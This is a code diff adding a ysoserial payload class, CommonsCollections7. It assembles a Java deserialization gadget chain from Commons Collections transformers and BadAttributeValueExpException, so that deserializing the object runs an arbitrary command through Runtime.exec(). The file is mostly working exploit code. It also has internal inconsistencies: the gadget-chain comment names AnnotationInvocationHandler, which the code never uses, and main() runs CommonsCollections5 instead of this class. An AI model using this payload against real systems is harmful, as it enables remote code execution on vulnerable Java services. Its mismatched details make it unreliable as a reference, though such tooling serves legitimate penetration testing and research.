|
| 1 | +package ysoserial.payloads; |
| 2 | + |
| 3 | +import java.lang.reflect.Field; |
| 4 | +import java.lang.reflect.InvocationHandler; |
| 5 | +import java.util.HashMap; |
| 6 | +import java.util.Map; |
| 7 | + |
| 8 | +import javax.management.BadAttributeValueExpException; |
| 9 | + |
| 10 | +import org.apache.commons.collections.Transformer; |
| 11 | +import org.apache.commons.collections.functors.ChainedTransformer; |
| 12 | +import org.apache.commons.collections.functors.ConstantTransformer; |
| 13 | +import org.apache.commons.collections.functors.InvokerTransformer; |
| 14 | +import org.apache.commons.collections.keyvalue.TiedMapEntry; |
| 15 | +import org.apache.commons.collections.map.LazyMap; |
| 16 | + |
| 17 | +import org.apache.commons.collections.map.DefaultedMap; |
| 18 | + |
| 19 | +import ysoserial.payloads.annotation.Authors; |
| 20 | +import ysoserial.payloads.annotation.Dependencies; |
| 21 | +import ysoserial.payloads.annotation.PayloadTest; |
| 22 | +import ysoserial.payloads.util.Gadgets; |
| 23 | +import ysoserial.payloads.util.JavaVersion; |
| 24 | +import ysoserial.payloads.util.PayloadRunner; |
| 25 | +import ysoserial.payloads.util.Reflections; |
| 26 | + |
| 27 | +/* |
| 28 | + Gadget chain: |
| 29 | + ObjectInputStream.readObject() |
| 30 | + AnnotationInvocationHandler.readObject() |
| 31 | + Map(Proxy).entrySet() |
| 32 | + AnnotationInvocationHandler.invoke() |
| 33 | + DefaultedMap.get() |
| 34 | + ChainedTransformer.transform() |
| 35 | + ConstantTransformer.transform() |
| 36 | + InvokerTransformer.transform() |
| 37 | + Method.invoke() |
| 38 | + Class.getMethod() |
| 39 | + InvokerTransformer.transform() |
| 40 | + Method.invoke() |
| 41 | + Runtime.getRuntime() |
| 42 | + InvokerTransformer.transform() |
| 43 | + Method.invoke() |
| 44 | + Runtime.exec() |
| 45 | +
|
| 46 | + Requires: |
| 47 | + commons-collections |
| 48 | + */ |
| 49 | +/* |
| 50 | +This only works in JDK 8u76 and WITHOUT a security manager |
| 51 | +
|
| 52 | +https://github.com/JetBrains/jdk8u_jdk/commit/af2361ee2878302012214299036b3a8b4ed36974#diff-f89b1641c408b60efe29ee513b3d22ffR70 |
| 53 | + */ |
| 54 | +//@PayloadTest(skip="need more robust way to detect Runtime.exec() without SecurityManager()") |
| 55 | +@SuppressWarnings({"rawtypes", "unchecked"}) |
| 56 | +@PayloadTest ( precondition = "isApplicableJavaVersion") |
| 57 | +@Dependencies({"commons-collections:commons-collections:3.2.1"}) |
| 58 | +@Authors({ Authors.MEIZJM3I}) |
| 59 | +public class CommonsCollections7 extends PayloadRunner implements ObjectPayload<BadAttributeValueExpException> { |
| 60 | + |
| 61 | + public BadAttributeValueExpException getObject(final String command) throws Exception { |
| 62 | + final String[] execArgs = new String[] { command }; |
| 63 | + // inert chain for setup |
| 64 | + final Transformer transformerChain = new ChainedTransformer( |
| 65 | + new Transformer[]{ new ConstantTransformer(1) }); |
| 66 | + // real chain for after setup |
| 67 | + final Transformer[] transformers = new Transformer[] { |
| 68 | + new ConstantTransformer(Runtime.class), |
| 69 | + new InvokerTransformer("getMethod", new Class[] { |
| 70 | + String.class, Class[].class }, new Object[] { |
| 71 | + "getRuntime", new Class[0] }), |
| 72 | + new InvokerTransformer("invoke", new Class[] { |
| 73 | + Object.class, Object[].class }, new Object[] { |
| 74 | + null, new Object[0] }), |
| 75 | + new InvokerTransformer("exec", |
| 76 | + new Class[] { String.class }, execArgs), |
| 77 | + new ConstantTransformer(1) }; |
| 78 | + |
| 79 | + final Map innerMap = new HashMap(); |
| 80 | + final Map defaultedmap = DefaultedMap.decorate(innerMap, transformerChain); |
| 81 | + |
| 82 | + TiedMapEntry entry = new TiedMapEntry(defaultedmap, "foo"); |
| 83 | + |
| 84 | + BadAttributeValueExpException val = new BadAttributeValueExpException(null); |
| 85 | + Field valfield = val.getClass().getDeclaredField("val"); |
| 86 | + valfield.setAccessible(true); |
| 87 | + valfield.set(val, entry); |
| 88 | + |
| 89 | + Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain |
| 90 | + |
| 91 | + return val; |
| 92 | + } |
| 93 | + |
| 94 | + public static void main(final String[] args) throws Exception { |
| 95 | + PayloadRunner.run(CommonsCollections5.class, args); |
| 96 | + } |
| 97 | + |
| 98 | + public static boolean isApplicableJavaVersion() { |
| 99 | + return JavaVersion.isBadAttrValExcReadObj(); |
| 100 | + } |
| 101 | + |
| 102 | +} |
0 commit comments